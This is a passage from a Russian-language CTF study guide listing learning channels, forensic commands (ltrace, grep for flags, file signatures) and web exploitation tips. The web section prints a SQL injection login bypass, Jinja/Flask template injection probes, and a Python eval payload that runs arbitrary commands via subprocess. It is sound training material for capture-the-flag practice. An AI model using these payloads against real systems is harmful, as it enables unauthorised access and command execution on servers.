    • Есть очень интересная серия, где он реверсит WannaCry
  • Ben Greenberg
    • Профессор GMU с множеством обучающих видео по pwn и вредоносному ПО
    • Немного устарело, но всё ещё полезно
  • InfoSecLab at Georgia Tech
    • Хорошие и продвинутые углублённые лекции по pwn
    • Требуют некоторой базовой подготовки
  • RPISEC
    • Встречи команды Университета RPI
    • Очень продвинутый уровень и предполагает знание основ CS
  • Matt Brown
    • Специалист по безопасности встраиваемых систем
    • Делает отличные видео для новичков по взлому IoT
    • Множество задач по эксплуатации бинарных уязвимостей, упорядоченных по сложности
    • Включает исходный код и поставляется с VM, содержащей все бинарники.
  • Возможно, придётся изменить сигнатуру файла на некоторых изображениях, чтобы они открылись
  • Список распространённых сигнатур файлов
  • Ghex (ещё один шестнадцатеричный редактор, но с GUI. Хорош, если нужно перейти к определённому байту)
    • ghex <file.xyz>
  • Файлы docx являются контейнерами, поэтому их можно распаковать, чтобы найти скрытый контент
    • unzip <file.docx>
  • Grep — хороший способ рекурсивно найти флаг с помощью grep:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • Можно заменить 'picoCTF' на начало искомого флага
  • Ltrace — позволяет увидеть, что делает код во время выполнения программы:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltrace укорачивает очень длинные строки. Можно использовать -s, чтобы увеличить количество отображаемых символов. Полезно при просмотре strcmp с большими строками.
  • очень хорошее видео о модификации стека с уязвимостью форматной строки и %n:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Автоматизирует процесс SQL-инъекции
  • Базовая SQL-инъекция
    • Введите 'OR 1=1-- в форму входа
    • На сервере это вычислится как SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
    • 1=1 вычисляется как истина, что удовлетворяет условию OR, а остальная часть запроса экранируется с помощью --
  • PayloadsAllTheThings
    • Отличный ресурс для веб-эксплуатации с множеством полезных нагрузок
  • Инъекция шаблонов
    • tplmap
      • Автоматизированная инъекция серверных шаблонов
    • Jinja Injection
      • {{ config.items() }}
    • Flask Injection
      • {{ config }}
    • Функция Python eval()
      • __import__.('subprocess').getoutput('<command>')
        • убедитесь, что меняете скобки, если не работает
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • список файлов в системе
    • Больше инъекций Python
  • Межсайтовый скриптинг (XSS)
    • CSP Evaluator
      • Оценщик политики безопасности контента от Google